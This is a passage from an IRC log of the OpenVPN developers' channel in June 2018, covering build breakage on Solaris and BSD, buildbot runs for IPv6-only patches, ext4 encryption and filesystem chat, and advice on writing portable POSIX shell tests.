<@mattock> yes that was a real pain 11:45 <@mattock> although I think some of Amazon datacenters don't have IPv6 11:45 <@mattock> like Frankfurt 12:36 < kitsune1> Is patchwork.openvpn.net in the westcoast? 64 ms by v4 and 74 ms v6 from eastcoast 12:46 <@cron2> 150ms from europe 12:46 <@cron2> quite a distance 14:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 21:50 <@ordex> *burp* --- Day changed Fri Jun 15 2018 00:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:04 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:56 <@syzzer> cron2: work is slowly changing back to manageable proportions :) 00:57 <@syzzer> life is good now, traveling through Canada's west coast for almost three weeks :) 00:57 <@ordex> cool! 00:57 <@syzzer> all of which means I'm starting to work on my review queue again 00:59 <@syzzer> but you and ordex seem to keep each other sufficiently busy 01:00 <@cron2> good morning 01:01 <@cron2> syzzer: welcome back :-) - have you just returned from Canada, or are you just leaving? 01:01 <@cron2> and indeed, ordex is keeping me busy ;-) (and vice versa) - but merging something that someone else ACKed can always be squeezed in, much less work than trying to make sense out of tun.c 01:18 <@cron2> mattock: so how's tap building coming along? 01:43 <@syzzer> cron2: left Europa last Sat, will be traveling for the coming 1.5 weeks :) 01:44 <@syzzer> I would like to use some spare cycles for the ordex' tls-auth/tls-crypt patches, hopefully somewhere next week 01:50 <@cron2> ah :-) - have fun travelling, and reviewing while driving on boring highways... 02:05 <@mattock> cron2: I have too much infrastructure work left to think about tap-windows6 building 02:05 <@mattock> but I know where to go once those things calm down 02:06 <@mattock> that is, HLK studio 02:09 <@ordex> HongLongKong 02:18 <@cron2> mattock: ough. Still so much broken? 02:36 * ordex has discovered the --color-moved=zebra option for git show 02:36 <@ordex> amazing to check patches moving functions around without changing them 02:36 <@ordex> git show must go on! 02:36 <@cron2> yeah, I'm going to use that for v4 1/8 later today :) 02:36 <@ordex> :) 02:56 <@mattock> cron2: still lots of things to do 05:13 <@ordex> og there is native encryption in the EXT4 FS 05:13 <@ordex> *oh 05:31 < eworm> yes, same for fsfs I think... 05:32 < eworm> pretty useless given we have cryptsetup / LUKS for linux 05:42 <@ordex> yeah 05:42 <@ordex> well, this is directly at the FS layer 05:43 <@ordex> it's just less flexible compared to dm + luks 05:43 <@ordex> but for the common use case might be enough 06:15 <@cron2> is it for the whole FS or "per directory tree"? 06:20 <@ordex> good question - haven't read that 06:20 <@ordex> let me check 06:21 <@ordex> it says it's similar to ecryptfs - but the hepl in the menuconfig of the kernel is fairly small 06:21 <@ordex> maybe somewhere else.. 06:21 <@ordex> ext4 encryption works on a per-directory basis. 06:21 <@ordex> cool 06:22 <@ordex> https://blog.quarkslab.com/a-glimpse-of-ext4-filesystem-level-encryption.html << if you wanna know more 06:22 <@vpnHelper> Title: A glimpse of ext4 filesystem-level encryption (at blog.quarkslab.com) 06:22 <@cron2> thought so, because *then* it has "added value" 10:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:38 <@dazo> I believe ecryptfs is being deprecated ... it had some nasty corner cases, iirc 14:46 <@dazo> and not too much traction in among the developers back then. But it might have improved since then 21:06 <@ordex> apparently the encryption for ext4 was developed by google as it is used in chrome os and in their datacenters mhh 23:18 < kitsune1> Google's involvement was almost 2-3 years ago isn't it? How stable is it the current state of it -- is it used widely? 23:19 <@ordex> it is not marked as experimental anymore 23:19 <@ordex> but i don't know much more than that 23:19 <@ordex> it was introduced in 4.6 I think? or something like that? 23:19 <@ordex> ah no 23:19 <@ordex> earlier 23:20 <@ordex> in 4.1 it was already there 23:33 < kitsune1> Yeah in 4.1 and hard to find any good docs on it. Most online reviews etc are from early times (2015) with many bug reports. Even a recent gentoo wiki I found mentions "issues..". Also is ext4 what most people use on Linux? At home I switched to zfsonlinux several years ago and at work have been using xfs for a while (ext4 only for /root and /boot). I have had several bad experiences (data loss) wi 23:33 < kitsune1> th ext2 in old days, so any fs name starting with ext gives me a bad feeling :) 23:52 <@ordex> wellll 23:52 <@ordex> ext3 was already a huge step forward compared to ext2 23:52 <@ordex> and 4 is basically way more modern --- Day changed Sat Jun 16 2018 01:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:41 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:56 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:46 <@cron2> interesting. I've *never* had data loss with ext2/ext3... (well, except if the box crashed hard while writing stuff to disk, but that's unavoidable) 08:20 <+krzee> also isnt zfsonlinux less stable than ext? 08:21 <+krzee> granted its been a long time since i looked 12:00 < kitsune1> On linux ext4 is probably more stable than zfsonlinux, but the latter has been quite stable for me -- its on some machines at home, not under heavy load, though. Did survive several power losses with no issues at all. I boldly went for zfs on root but that sometimes call for attention during kernel upgrades. 12:10 <@ordex> I have been using ext4 for long time and never got any problem..the question i have sometimes is "why changing?" unless you hit some serious issue, but I doubt there is any at the moment with ext4 12:25 < m-a> careful with virtual machines though that you dual boot inside the "virtualizator" (qemu, virtualbox, whatever) and ZFS. It does not seem to have multi-mount protection and I totally spoilt one ZFS by mounting it accidentally both inside VirtualBox with FreeBSD and then on bare metal with Ubuntu's ZFS on Linux. Don't try that at home... 14:36 < kitsune1> Good to know about VMs but I don't run VMs at all -- have freebsd on bare metal with zfs as a home file server which has been rock solid. 14:38 < kitsune1> Sure, ext3 and ext4 are much better and haven't lost any data in 10 years or so. Harddisks also have improved over the years and appear to withstand crashes better. 14:40 < kitsune1> Regarding ext2, some loss of data when crashed (power loss) during write is understandable, but I've lost vast ranges of files seemingly unrelated to the one being written to during the crash, or unmountable file system on reboot after a crash etc. But we are talking about the 90's when consumer hard disks were also not that resistant to power failure (or so it seems). --- Day changed Sun Jun 17 2018 13:05 <@cron2> ordex: your patch breaks solaris! 13:05 <@cron2> ../../../openvpn/src/openvpn/tun.c: In function `do_ifconfig_ipv6': 13:05 <@cron2> ../../../openvpn/src/openvpn/tun.c:923: error: incompatible type for argument 3 of `print_in6_addr' 13:05 <@cron2> indeed 13:06 <@cron2> someone ate the "&" before "&gc"... 13:15 <@ordex> argh! that's something I couldn't test :( 13:15 <@ordex> (do we have a buildbot for solaris too?) 13:25 <@cron2> of course 13:25 <@cron2> builder-cron2-opensolaris-10-i386-stable-master 13:26 <@cron2> we do not have a buildbot for AIX yet (due to AIX not having tun, I can't connect it to the community VPN - it has tap, though) 13:31 <@cron2> MacOS X is also acting up... IPv4(!) is failing... but that could be my test setup. Wait... 13:40 <@cron2> that is weirdness, because it happens without your patch as well 13:49 <@cron2> but: IPv6-only on MacOS seems to work - at least t_client 2e and 4a pass :-) 13:50 <@cron2> 4b even 14:00 <@ordex> uhm interesting 14:00 <@cron2> ordex: assuming that "just because IPv4 ifconfig" on Solaris does MTU a certain way that this implies that IPv6 would work the same is "innocence of the youth" ;-) 14:00 <@ordex> haha of course 14:00 <@ordex> the usual exceptions 14:01 <@cron2> Solaris is so weird in strange and mysterious ways... but it seems to work, though :) 14:01 <@ordex> I still believe in a nice world 14:01 <@ordex> ah good! 14:04 <@cron2> mmmh. I shall assume that this also "just works" on AIX... 14:07 <@ordex> well....I think nobody else other than you can prove that 14:07 <@ordex> :p 14:07 <@cron2> you want a shell account? 14:16 <@ordex> nono :D I still like being in the dark ;P 14:17 <@ordex> ok, I'll send v5 tomorrow 14:17 <@ordex> this was very unlucky 14:17 <@ordex> I couldn;t test because I had no right to push to build.openvpn.net 14:17 <@ordex> (and maybe I still don't) 14:17 <@cron2> ah, so we all blaim mattock on it! 14:17 <@ordex> in the worst case I'll ask you to pull and push my branch from gitlab 14:17 <@ordex> haha of course!!! mattock !! 14:17 <@cron2> yeah, no problem there 14:17 <@ordex> he escaped 14:18 <@ordex> thanks 14:18 <@ordex> I'll do that tomorrow 14:18 <@ordex> now it's 3am and I am here only because I watched Germany lose with Mexico :p 14:19 <@cron2> *grumble* 14:19 <@cron2> good night 14:19 * cron2 watched this with the kids and they got so excited and frustrated... 14:20 <@ordex> can imagine, was kind of weird. mexico has not yet realized how that happened :p 14:21 <@cron2> oh, the german comments about that were very clear - "we prepared for a very organized and clean game, and they just ran around creating chaos, which we did not expect" 14:21 <@ordex> :D 14:21 <@ordex> the shole thing sounds very german 14:21 <@ordex> *whole 14:22 <@ordex> anyway, the group shouldn't be a problem anyway 15:08 < kitsune1> nytimes says: Mexico Shocks Germany.. I like upsets :) 15:09 < kitsune1> not shocks, stuns :) 15:20 < tincantech> at least it was a nice clean goal and not a handball (maradona) or something ;) 15:25 < tincantech> now they are using the video referee as well .. change takes time 15:25 < tincantech> like IPv6 ;-) 17:25 < kitsune1> But IPv6 is still waiting in the shadows.. The world may wait too long and find v6 too outdated for the times when everyone has a quantum computer.. When bits & bytes are fuzzy and wavefunction collapse is no more a jargon. When my IP is entangled with yours, to whose IP would it collapse? 17:31 < tincantech> pfft .. there are limits to what QC can "actually" do 17:31 < tincantech> or at least there are so far 17:32 < tincantech> kitsune1: Quantum computing is, in actual fact, *completely* incompatible with The Internet 17:33 < tincantech> there is no protocol for Quantum Distributed Computing 17:33 < tincantech> i believe .. 17:35 < tincantech> tbh .. i do not believe this QC thing will be realised in our lifetimes .. 17:36 < tincantech> and even if it is .. it will be non-provable ... $$ will preclude knowledge 17:37 < tincantech> but Mexico did score a great goal against Germany today .. so, i guess anything is poss ! 17:44 < kitsune1> QC breaking encryption and all that stuff is hyped in my opinion too. But special purpose quantum computers solving some physics problems more efficiently than classical one's may get realized in our lifetime. It doesn't take too many bytes to speed up a quantum chemistry simulation of largish molecules currently intractable. I think that's where the silent revolution is taking place (or likely to 17:44 < kitsune1> occur) although its the cryptography folks whoe are making all the noise. 18:09 < kitsune1> s/bytes/qubits/ 21:42 <@ordex> cron2: I have fixed the 1/8 patch. When you can, would you please pull the "ipv6-only" branch from "git@gitlab.com:ordex986/openvpn.git" and push it to build.openvpn.net? this way we can start the buildbot 23:46 < kitsune1> 5 hours of sleep is not enough :) 23:58 <@ordex> it depends! --- Day changed Mon Jun 18 2018 01:24 <@cron2> ordex: you can just send out 1/8 v5 - I'll diff, and if the only differnce is a lone "&", I know it is fine 01:25 <@cron2> I've tested all OSes yesterday, including "setting up ipv6-only tests and comparing before/after" 01:25 <@cron2> tonight, I'll do the clone/pull 01:28 <@cron2> ordex: which branch to push to, on build? 01:28 * cron2 found it easy enough to just do it quickly 01:31 <@ordex> cron2: it should be antnio/ipv6-only 01:31 <@ordex> let me check 01:31 <@ordex> yeah that one antonio/ipv6-only 01:32 <@ordex> I mean, anyone is fine..just force push to that 01:32 <@ordex> but I Can still send v5 *now* 01:32 <@cron2> there is no "antonio/ipv6-only" on build 01:32 <@ordex> ah it was wiped I guess 01:32 <@ordex> then just re-create it ? 01:33 <@cron2> ok 01:33 <@ordex> the name does not matter after all 01:33 <@cron2> To ssh://build.openvpn.net//var/lib/repos/openvpn.git 01:33 <@cron2> * [new branch] ipv6-only -> antonio/ipv6-only 01:33 <@cron2> that was easier than I thought... (I'm at a customer site and should not be spending hours on openvpn stuff, but a few minutes here and there is fine) 01:33 <@ordex> should I "force buildall" 01:33 <@ordex> ? 01:33 <@cron2> yep 01:33 <@ordex> :) 01:33 <@cron2> go for it :) 01:33 <@ordex> ok, I'll launch it now 01:35 <@ordex> launched1 01:35 <@ordex> ! 01:37 <@cron2> yep, I see opensolaris build starting 01:38 <@ordex> goed! 01:41 <@cron2> fbsd10 is not building, but I think it might not even be active anymore :) 01:41 <@cron2> ah, there it is... 01:42 <@ordex> only tincantech's builders are not doing anything (disconnected right now) 01:42 <@cron2> those are linux instances, so unless you haven't tested linux beforehand, not much new information to be learned there :) 01:42 <@ordex> yeah 01:42 <@ordex> :) 01:45 <@ordex> so far all green, captain! 01:45 <@ordex> :D 01:45 <@ordex> solaris too 02:16 <@cron2> cool :) 02:22 <@ordex> few builds left.. 02:47 <@ordex> all green!!! 02:47 <@ordex> patch is taking of... 02:52 <@ordex> aaaand landed! 02:53 <@cron2> yup 03:41 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:41 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:39 <@ordex> mattock: when you have time, would you please create me an account on build.openvpn.net ? 06:42 <@mattock> ordex: did you try your freeipa account? 06:42 <@mattock> oh 06:42 <@mattock> lemme check 06:52 <@ordex> mattock: k 06:56 <@mattock> ordex: try now with ipa account 06:56 <@mattock> "works for me"(tm) 06:56 <@ordex> mattock: does it mean I have to kinit first ? 06:57 <@mattock> no 06:57 <@mattock> if you have your SSH key set in IPA you're good to go 06:57 <@ordex> ah ok 06:57 <@ordex> ok let me try 06:57 <@mattock> I will add you to the correct group first though 06:57 <@ordex> name.surname, right ? 06:57 <@mattock> but you can ssh in 06:57 <@mattock> yes 06:57 <@mattock> can = should be able to 06:57 <@ordex> well that's what I tried: name.surname + my ssh key 06:57 <@ordex> but no pwd typed anywhere 06:57 <@ordex> trying now 06:58 <@ordex> ah it worked now 06:58 <@ordex> cool mattock thanks! 07:01 <@mattock> ordex: you should be able to push now 07:03 <@ordex> cool, thanks 07:03 <@ordex> I will try pushing in a nutshell 07:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:56 <@ordex> lol any patch touching tun.c applied after the entire ipv6-only thing needs to be re-done :D 07:56 <@ordex> rebase can't just work 08:04 <@cron2> yep 08:07 <@ordex> sitnl rebased on top of the cleaned up tun.c looks even better! nice! 08:10 <@ordex> ok, I have some more work.. 08:14 <@cron2> if I look at the amount of explosions in my mailbox, indeed you have 08:14 <@cron2> tun.c: In function 'do_ifconfig_ipv6': 08:14 <@cron2> tun.c:890: error: 'gc' undeclared (first use in this function) 08:14 <@cron2> what 08:14 <@cron2> tun.c: In function 'do_ifconfig_ipv4': 08:14 <@cron2> tun.c:1337: error: too few arguments to function 'add_route' 08:14 <@cron2> that looks a bit scary :) 08:16 <@ordex> well, I changed "a bit" the code and hoped that I Could keep the "ctx" argument only for linux related code, but this can't be the case :P 08:16 <@ordex> if I did it that way earlier...there was a reason :P 08:17 <@ordex> sorry for the spam 08:17 <@ordex> I wonder if the email to use for notifications can be customized on a forced build.. 08:21 <@ordex> cron2: for the record: this is the sitnl branch. nothing to do with ipv6-only 08:23 <@cron2> ordex: understood :-) - and I was more amused than annoyed 08:30 <@ordex> hehe ok 08:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:42 <@ordex> hm this is interesting: builder-ubuntu-1604-amd64-stable-master--disable-server--enable-small 13:33 <@vpnHelper> RSS Update - gitrepo: tun: ensure interface can be configured with IPv6 only <https://github.com/OpenVPN/openvpn/commit/611fcbc487292054306767a76e727aea4e593725> 14:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 19:13 <@ordex> yehaaaa 19:24 < tincantech> ordex: you strike oil ? 19:29 <@ordex> nope 19:29 <@ordex> stopped with that 19:29 * tincantech is curious ;) 19:29 < tincantech> what are you trying to break this time ? 19:31 * ordex ? 19:31 <@ordex> nothing 19:31 <@ordex> I am just watcihng patches being merged :P 19:31 <@ordex> and rebasing sitnl on top of everything 19:31 < tincantech> ahh . ok :) 20:04 <@ordex> tincantech: want to break something? 20:25 <@ordex> let's see if something explodes... 20:25 <@ordex> cron2: I am running only selected builders to catch compile errors. this should decrease the amount of spam you'll get in case of errors :p 20:34 <@ordex> goed, t_net.sh not found and segmentation fault 20:34 <@ordex> but it compiles everywhere! 23:33 <@ordex> I wonder why non-linux boxes "can't find" the t_net.sh script.. 23:34 <@ordex> ah! 23:34 <@ordex> bash! 23:42 <@ordex> green! 23:48 <@ordex> my goodness opensolaris and the bashism 23:49 <@ordex> cron2: opensolaris it's failing on a function declaration in a shell script ... any hint? 23:51 <@ordex> hm no "function" keyword apparently should work --- Day changed Tue Jun 19 2018 00:22 * ordex is getting crazy.... 00:22 <@ordex> cron2: isn't netbsd using ksh as well? 00:22 <@ordex> typeset does not exist there :( how do I use an array in this zoo of shell languages? 00:23 < pekster> POSIX sh has no formal array; kitchen-sink shells tend to, like bash, zsh, and so on 00:24 <@ordex> well, the question is: what is openbsd running? and netbsd? and freebsd? 00:24 <@ordex> opensolaris is ksh 00:25 <@ordex> maybe they are using POSIX sh then? 00:26 < pekster> FreeBSD simply calls their product the "shell", though if you look at the headers for the base code, it was ultimately derrived from the Almquest codebase 00:26 <@ordex> does it do arrays? :D 00:26 < pekster> Nope 00:26 * ordex goes headdown 00:27 < pekster> FreeBSD's a good "if it works here it'll work anywhere" case though. Technically it does things not strictly POSIX, though I've never seen anything I care about break. herloom-sh is your gold standard, if you insist on 1980's OSes working (should be safe to call those "EOL" now) 00:28 <@ordex> well, I want to be sure my new shell-based unit-test is capable of working on all our buildbot zoo 00:29 <@ordex> but whn i fix a system, I break another :D 00:29 < pekster> I _think_ something like OpenSolaris or something awful fails to use any of the POSIX standards from the last 20-25 years; that might be safe to say "tough luck, it works if you build a real shell first" 00:29 <@ordex> now freebsd is spitting on me because I used typeset -a VAR, which is what was suggested for ksh on opensolaris 00:29 < pekster> It's "POSIX", for very (very) old definitions of that 00:29 <@ordex> phew 00:29 <@ordex> let's see if cron2 has any recommendation 00:30 < pekster> Here's your ultiamte online reference: http://pubs.opengroup.org/onlinepubs/9699919799/ 00:30 <@vpnHelper> Title: The Open Group Base Specifications Issue 7, 2018 edition (at pubs.opengroup.org) 00:31 < pekster> If you don't see the CLI tool listed in the Shells & Utilities -> Utilities (or the smaller list of Shell Command Language -> "Special Built-In Utilities" item #14) then you would want to assume "some" rustic system may not have it 00:32 < pekster> What are you trying to do? While arrays are nice, you just don't get them in shell. awk has them, so you _can_ offload processing to awk happily which is POSI 00:32 < pekster> +X 00:32 <@ordex> pekster: I have a series of command I needs to run and i just put them all in an array, so the code executing them is just agnostic 00:32 <@ordex> it runs the command and stores the output in another array 00:33 <@ordex> *series of commandS 00:33 < pekster> Erm, xargs is probably what you want then. Or a while-loop breaking on a character you can guarantee isn't in the input 00:33 < pekster> All with the usual warnings about untrusted code execution, but internal tooling can presumably be at least as safe as the codebase :P 00:34 <@ordex> yeah 00:34 <@ordex> so you mean having a long string instead of an array? 00:34 <@ordex> with a well defined separator? 00:34 <@ordex> how would xargs help? 00:34 < pekster> Well, not sure what you're trying to do still. If you're building a list of commands to run, you could just stick them in a file one-line-each and call sh on it.. 00:35 < pekster> printf "%s\n" 'echo "hello world"' 'echo line-2' 'echo line-3' > my-commands.list; sh my-commands.list 00:36 < pekster> xargs would be handy if you wanted to run one-command per CPU and just wanted them to run, not really caring what order they all ran in 00:36 <@ordex> pekster: the list of commands is already in the script. it's at the top as a simple header. then the code iterates over this array and runs the command one by one and collects the output in another array 00:37 < pekster> Also, I'd highly suggest you install (or build, though it requres a ghc compiler for Haskell) the "shellcheck" project. It's great at telling you when you've done incorrect or non-POSIX shell things 00:37 < pekster> Erm, sounds like an XY design problem. That's really not what you do in shell code 00:38 < pekster> a "list of commands we're going to exec" is generally something one tries hard to avoid. Why can't the "list of commands" be made a "command sequence the shell runs" here? 00:39 <@ordex> hmmm 00:39 < pekster> Erm, eval, not exec. The scary one 00:39 <@ordex> maybe I an try to squeeze them all together 00:39 <@ordex> because basically each of this command prints some "state" 00:39 <@ordex> so the idea is to save the output and use it later for a comparison 00:40 <@ordex> but maybe I can just run them all in one go and collect the entire output 00:40 <@ordex> without splitting them in single commands 00:40 < pekster> What generates this original list of commands? Is it static? 00:40 < pekster> If so, sounds like you just want a compound command 00:40 <@ordex> yes, it's decided by me and can be extended in the future 00:41 < pekster> eg: { seq 1 10; seq 11 20; seq 21 30; } > my-output.dat 00:41 <@ordex> yeah, I will just do that. 00:42 <@ordex> right now I had something like $STATE[$i]=$($CMD[$i]) 00:42 < pekster> If for whatever reason you needed the execution in a subshell (that's great for doing dir-changes and ignoring the consequences of it. Same for variable settings) you can put it in parens instead of curlies, with the usual cost of a fork and loss of environment changes 00:42 <@ordex> yeah sure 00:42 <@ordex> the problem was just to separate the output and put in its own array 00:42 < pekster> ie: ( cd /; ls; ls /bin; ) > list-of-files 00:42 <@ordex> but if I can drop this requirement..it's just easier 00:43 <@ordex> of course, having them separate it's better because I can print out which of the commands produced the inconsistent state 00:45 <@ordex> in t_client.sh this is all done explicitly, as in "run command X" "check everything is fine" "continue". while with my array I wanted to make it generic. The next dev could just add another line to the array and without touching the code everything would just work 00:45 <@ordex> but this is not probably a case I need to optimize 00:46 < pekster> You're better off building shell functions or creating a basic test library if you want to make it extensible and managable 00:46 < pekster> And if your list of commands now (or might ever) include(s) arguments, quoting is going to be a nightmare 00:47 <@ordex> hehe I bet 00:48 < pekster> You _might_ be able to get away with this, but it's both very bad form and may have effects I haven't thought of yet, besides being newline-unsafe in arguments: while IFS='\n' read -r cmd args; do "$cmd" $args || die "something went wrong with '$cmd'"; done < "$LIST_OF_COMMANDS" > your-output.dat 00:48 < pekster> And that one-liner is fully untested too. Also ugly as fuck 00:49 <@ordex> hehe 00:49 <@ordex> slow down :D no need to spend time on something I haven't even though to implement hehe 00:49 < pekster> So yea, if you want to make it more extensible, I'd suggest a library framework with a simple API developers can call on to perform testing 00:50 <@ordex> yeah 00:50 <@ordex> but I'll keep it very simple 00:51 < pekster> You know you've crossed into non-simple areas when you have to read the getopts docs on how to reset the option index to parse options passed to functions, not the main script. Then start to worry 00:51 <@ordex> heh 00:59 < pekster> And that oneliner needed to pipe the input to the loop, not read it from a filename. 3 beers is the bug introduction point ;) 00:59 < pekster> https://www.xkcd.com/323/ 00:59 <@vpnHelper> Title: xkcd: Ballmer Peak (at www.xkcd.com) 01:00 <@ordex> :D 02:16 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:23 <@mattock> morning 02:25 <@ordex> morning! 04:01 <@cron2> mornin 04:03 <@cron2> ordex: opensolaris /bin/sh is a pile of garbage. We can leave that out for the time being. NetBSD/FreeBSD have a fairly good /bin/sh but no bash/ksh by default IIRC 04:05 <@cron2> whenever I was tempted to use shell arrays, I decided "this is too complex, use awk or perl instead"... 04:09 <@cron2> meeting tomorrow: I can make it but will be a few minutes late 04:09 <@cron2> (and might have to run away for a few minutes around noonish to feed the kid) 05:54 <@ordex> cron2: my script with arrays was working very well until I tried to make it work on solaris :D and fixing that broke it on BSD 05:54 <@ordex> :D 06:55 <@ordex> At this point the script is only per Linux (because that's where the API is used right now). so I'll let the script bail out earlier when non-Linux is detected 07:17 <@cron2> ordex: good point. Just declare "not linux, no sitnl here, skipped" and let someone else work it out in case we start using a binary socket API elsewhere one day 07:18 <@ordex> cron2: agreed 07:19 <@ordex> actually I had that, but lower in the script, so it was failing on the declarations etc.. 07:22 <@ordex> let's see...only ubuntu should complain (something seems weird there, but it's another issue :)) 09:03 <@ordex> cron2: any clue why dummy0 would turn to NO-CARRIER once OpenVPN has been stopped? 09:03 <@ordex> this is how the ubuntu t_client.sh is failing 09:06 <@ordex> hm without client.rc is difficult for me to figure out what's going on, I guess 09:15 <@ordex> on my system a tun device it set as no-carrier when it is up, but there is no openvpn process attached to it (makes sense) 09:23 <@ordex> ah! I am sure it is because dummy0 is used also by t_net.sh...and it puts it down 09:23 <@ordex> lol 09:38 <@ordex> I apologize for the spam .-. but this is my only way the script works on the various platforms......I have reduced the amount of builders involved to reduce the spam too 09:49 <@ordex> yess, green :) 10:10 <@cron2> argh 10:10 <@cron2> why oh why 11:24 <@ordex> hehe 13:46 <@ordex> goed, sitnl seems to be happy on top of ipv6-only now :] this has been a bit painful :-P 13:46 <@cron2> hrhr, self-inflicted pain, though :) 13:46 <@cron2> so are we having a meeting tomorrow? Or shall we leave mattock to get his windows stuff done? 14:02 * krzee closes the windows and turns on the air conditioner 14:02 <+krzee> problem solved! 14:59 <@mattock> hmm meeting 14:59 <@mattock> well I think I'm going to dedicate tomorrow to bulding the Windows testing environment 15:00 <@mattock> if you have any topics besides that then I'm open for a meeting 15:00 <@mattock> -> sleep 15:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:55 <@cron2> I do not have anything specific, so "dedication to windows building/testing" is good 17:04 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Ping timeout: 276 seconds] 20:15 <@ordex> cron2: dunno 20:16 <@ordex> mattock: cron2: sounds good to me too to leave time to mattock to suffer some more with windows 23:55 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 23:55 -!- mode/#openvpn-devel [+o cron2] by ChanServ --- Day changed Wed Jun 20 2018 00:06 < jpwhiting> hey all, trying to build openvpn 2.4.6 for windows using openvpn-build, I used it in the past to build 2.4.0 without too much trouble, but building 2.4.6 for windows is getting stuck building openssl because it can't create ///lib/engines/ path 00:07 < jpwhiting> looking at the sources it seems to be trying to put some engines in there when building openssl 1.0.2k, adding no-engines to the openssl configuration options in build.vars makes openssl fail to build instead complaining about missing symbols to export instead 00:08 < jpwhiting> do the official windows installers of openvpn come from just openvpn-build with the default options from the build.vars ? or is there usually some tweaking required to get it to build properly? 00:25 < jpwhiting> hmm, nm, maybe I just needed to git clean it was somehow building 1.0.2k, when the build.vars has 1.0.2h 00:25 < jpwhiting> clean may have helped 00:25 < jpwhiting> 1.1.0h rather 00:55 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 01:23 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:23 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:13 < tincantech> is it expected that --server {v4 subnet} nopool --server-ipv6 {v6-subnet} does not work because "Options error: --server-ipv6 is incompatible with 'nopool' option" 07:25 <@ecrist> tincantech: what are you expecting to happen? 07:30 < tincantech> ecrist: i am just curious that nopool is applied to --server not --server-ipv6 .. so why does --server-ipv6 complain about it ? 07:31 < tincantech> and is it expected 07:50 <@cron2> --server-ipv6 implies an IPv6 pool, and if you told --server that you do not want a pool, it won't work 07:50 <@cron2> with the v6-only patches it should (because they de-couple ipv6-pool and ipv4-pool) 07:54 < tincantech> cron2: ah cool thanks :) 08:59 < pekster> cron2: So, I've just been informed by an Ubuntu 18.04 user that net-tools (at least ifconfig from net-tools) isn't shipped anymore. While we may still want to push off the bigger change of making --enable-iproute2=yes the default when that tooling is detected, we may want to actually make sure ifconfig is present on Linuxes, since it may not be.. 09:00 <@cron2> pekster: is this about our compile-time default, or about broken bundling by ubuntu? 09:00 < pekster> Not sure if there's a graceful way to handle that, but presumably we'd want to make sure ifconfig exists, and if not, modify the default to require iproute2 instead. Presumably the distro-repos are doing that themselves, but users building from source won't have functional builds 09:00 < pekster> Ubuntu is adding that option themselves, but ubuntu users who build from source directly get builds that won't work 09:01 < pekster> ie: tar xzf openvpn*; cd openvpn; make && make install; echo "now I have a bad build!" 09:01 <@cron2> I understand that part :-) 09:01 <@cron2> and for master, changing the default to be "netlink" is fine :-) 09:02 < pekster> Right, I'm just wondering if in the interim an additional check (for Linuxes, anyway) that ifconfig is present could drive the selection of the backend 09:02 <@cron2> for 2.4.7/2.4.8, changing anything is... tough. But I think a change to configure.ac that would error out if "ifconfig" cannot be found, pointing linux users to use --enable-iproute2 would be a good thing 09:02 <@cron2> yes 09:03 < pekster> That would still not change the net-tools default, but provide a more graceful way to get supported builds in the face of distros that (finally) kicked that crap to the curb 09:03 * pekster hates ifconfig with a passion. BSDs exempted 09:03 <@cron2> yes. I'm not going to actually do the patch, but I'm willing to favourably look at it and test it across the zoo 09:04 <@cron2> so: please ;-) 09:04 < pekster> Sounds good, I'll see if I can bend space & time to come up with the hours for that.. 09:05 <@cron2> hrhr 09:05 <@cron2> I'm sure you've seen the big pile of stuff that ordex produced, hoping for a timely review :-) 09:09 < pekster> There's that, the tap version/code-signing mess. All the new things! 09:14 <@cron2> tap mess offloaded to mattock :) 09:15 < pekster> Yea, $dayjob got bit by that just after a version upgrade. I've been uninspired by all the Windows-10 related damage MSFT's Grand New Vision has produced 10:27 <@ordex> cron2: on the windows patch (2/8) you'd like to run more tests? or Selva should do them? if only I could compile a working binary I'd do mor etesting myself :/ but apparently I have not been able so far é_é 10:46 <@cron2> I'll do a binary for you :) 10:47 <@cron2> * master aa2251b [origin/master] windows: properly configure TAP driver when no IPv4 is configured 10:49 <@cron2> well 10:49 <@cron2> or not 10:49 <@cron2> route.c:2649:19: error: 'c' undeclared (first use in this function) 10:49 <@cron2> if (rl && c->c1.tuntap->did_ifconfig_setup) 10:50 <@ordex> hmm I will try to compile tomorrow and fix those 10:50 <@ordex> sorry :| 10:51 <@cron2> will fix and recompile 10:54 <@cron2> installer at http://public.greenie.net/gert/misc/openvpn-install-7fd30a4c13.exe 14:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 21:10 <@ordex> thanks 21:11 <@ordex> cron2: should I send v4 with that 'c' fixed? or should I wait for more comments first? --- Day changed Thu Jun 21 2018 01:15 <@cron2> ordex: well, if your testing confirms that it works, v4 with the single fix should be fine 01:24 <@cron2> mattock: so how are things going? 02:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:02 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:04 <@ordex> cron2: agreed! I'll give it a shot and then post v4 07:40 <@cron2> argh, annoyance 07:40 <@cron2> https://twitter.com/binitamshah/status/1009769589364813824 07:43 <@plaisthos> trusting a random person on the internet with all your internet traffic is fine somehow 07:48 <@cron2> that's what we said when the person 